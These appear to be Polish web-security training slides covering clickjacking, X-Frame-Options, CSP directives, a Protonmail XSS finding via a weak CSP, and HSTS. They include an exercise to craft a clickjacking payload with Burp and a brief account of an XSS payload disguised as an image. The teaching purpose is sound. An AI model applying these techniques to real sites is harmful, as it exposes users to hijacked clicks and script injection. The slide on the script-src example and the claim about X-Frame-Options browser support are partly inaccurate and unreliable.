Tokeny anty-CSRF nie zabezpieczają aplikacji przed tym atakiem - strona wczytana w ramce jest poprawna, i zapytania wysłane do niej również!

Burp Suite posiada moduł pozwalający na testowanie tego błędu

Burp Clickbandit

Ćwiczenie: przygotuj złośliwy payload clickjackingu z wykorzystaniem Burpa, na wybranej funkcjonalności w aplikacji ships

 

Jak zabezpieczyć aplikację?

Aby uniemożliwić wczytanie aplikacji w ramce, odpowiedzi HTTP powinny zawierać nagłówek

X-Frame-Options: deny

Jeżeli chcemy pozwolić na to, ale tylko temu samemu originowi, to:

X-Frame-Options: sameorigin

Lub dowolnej zaufanej stronie:

X-Frame-Options: allow-from https://blabla.com

Przykład

Sekurak.pl nie posiada nagłówka X-Frame-Options:

można więc go wczytać w ramce

Securitum.pl korzysta z tego nagłówka:

strona nie zostanie wczytana

X-Frame-Options nie jest wspierany przez każdą wersję przeglądarek

 

na przykład, wsparcia nie ma Safari 12 oraz Chrome 76 

Istnieje inna - dojrzalsza opcja blokowania ataków typu Clickjacking i XSS

 

polityka Content Security Policy

Content-Security Policy

Content Security Policy (CSP) jest mechanizmem bezpieczeństwa działającym na poziomie przeglądarek, którego celem jest ochrona przed skutkami podatności działających po stronie przeglądarki (np. podatności Cross-Site Scripting).

 

Ograniczenie to ma zapobiegać atakom XSS, które dołączają do źródeł strony skrypty doczytywane z innych lokalizacji sieciowych.

źródło: https://www.imperva.com/learn/application-security/content-security-policy-csp-header/

Istnieje możliwość dokładnego zdefiniowania skąd mogą zostać pobierane poszczególne typy danych. 

Między innymi:

script-src - wskazanie konkretnych URI, z których skrypty mogą zostać pobrane.

Przykład: 

Content-Security-Policy: script-src 'self' http://cdn.greatstuff.serv

Ta dyrektywa pozwala na wczytywanie skryptów wyłącznie z http://sekurak.pl oraz ze swojego serwera (dyrektywa 'self')

Gdy znajdziemy w aplikacji XSS który spróbuje wczytać skrypt z adresu https://malicious.code -> atak nie powiedzie się

connect-src - dyrektywa odpowiedzialna za wszelakie połączenia:

  • WebSockets
  • Metoda open() z XMLHttpRequest (typowy formularz CSRF)
  • inne specyficzne mechanizmy

frame-src - z jakich adresów można wczytywać strony w ramce, w aktualnej aplikacji?

font-src, media-src, style-src, img-src - definicja źródeł, z których można pobrać czcionki, elementy video lub audio, arkusze CSS oraz obrazy

report-uri - adres, na który zostanie przesłany raport informujący o naruszeniu CSP

Raportowanie odbywa się poprzez wysyłanie przez przeglądarkę żądania metodą POST:

Istnieje możliwość poluzowania reguł CSP z użyciem dyrektyw unsafe-inline oraz unsafe-eval, zamiast 'self'.

unsafe-inline zezwala przeglądarce na wykonanie kodu JavaScript, znajdującego się:

  • jako fragment strony, pomiędzy znacznikami <script> oraz </script>
  • jako kod zdefiniowany w postaci atrybutu znacznika HTML on[event], np. onclick=”jakasfunkcja()”.

Istnieje możliwość poluzowania reguł CSP z użyciem dyrektyw unsafe-inline oraz unsafe-eval, zamiast 'self'.

unsafe-eval dopuszcza możliwość wykonywania następujących wbudowanych funkcji języka JavaScript:

  • eval(), która wykonuje podany jej jako argument ciąg znaków jakby był to kod JavaScript:

    eval("alert(1)"); jest równoznaczne z alert(1);

  • setTimeout() oraz setInterval(), które jako swój pierwszy argument także mogą przyjąć ciąg znaków i zinterpretują go jako kod JS

  • konstruktor Function(), gdzie argumentem jest ciąg znaków definiujący i zwracający nową funkcję: The Function constructor

Istnieją proste narzędzia pozwalające na weryfikację bezpieczeństwa polityki CSP

https://csp-evaluator.withgoogle.com/

https://report-uri.com/home/generate

Czasami, gdy polityka CSP jest nieszczelna, to możliwe jest wykonanie XSS ;-)

Przykład z audytu aplikacji mailowej Protonmail

1. Nieszczelna polityka CSP, pozwala na wczytanie JavaScript zapisanego lokalnie w elmencie "blob"

2. Udało mi się znaleźć możliwość wstrzyknięcia kodu JS, poprzez dodanie do załącznika w mailu payloadu XSS udającego obrazek

3. Gdy użytkownik otwiera załącznik, jest on wczytywany jako element blob - wraz z kodem JavaScript 

Strict-Transport Security

...Czyli dlaczego nie mogę otworzyć mojej aplikacji z użyciem http://?

Jeżeli bank.pl zwraca nagłówek STS, to przez czas określony w nim, przeglądarka będzie łączyła się wyłącznie z użyciem https

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Encoding: gzip
Content-Length: 3166
Content-Type: text/html; charset=UTF-8
Date: Thu, 27 Jun 2013 17:19:07 GMT
Strict-Transport-Security: max-age=2592000; includeSubDomains
X-Content-Type-Options: nosniff
x-frame-options: Deny

W tej konfiguracji, pierwsze zapytanie do aplikacji nie jest szyfrowane...

Jak to rozwiązać?

Odpowiedź - listy preload: https://hstspreload.org/

Domeny zgłoszone do list preload domyślnie zapisane są w źródłach popularnych przeglądarek WWW

Dziękuję za uwagę!

kamil.jarosinski@securitum.pl
 

 Zapraszam do zadawania pytań ;-)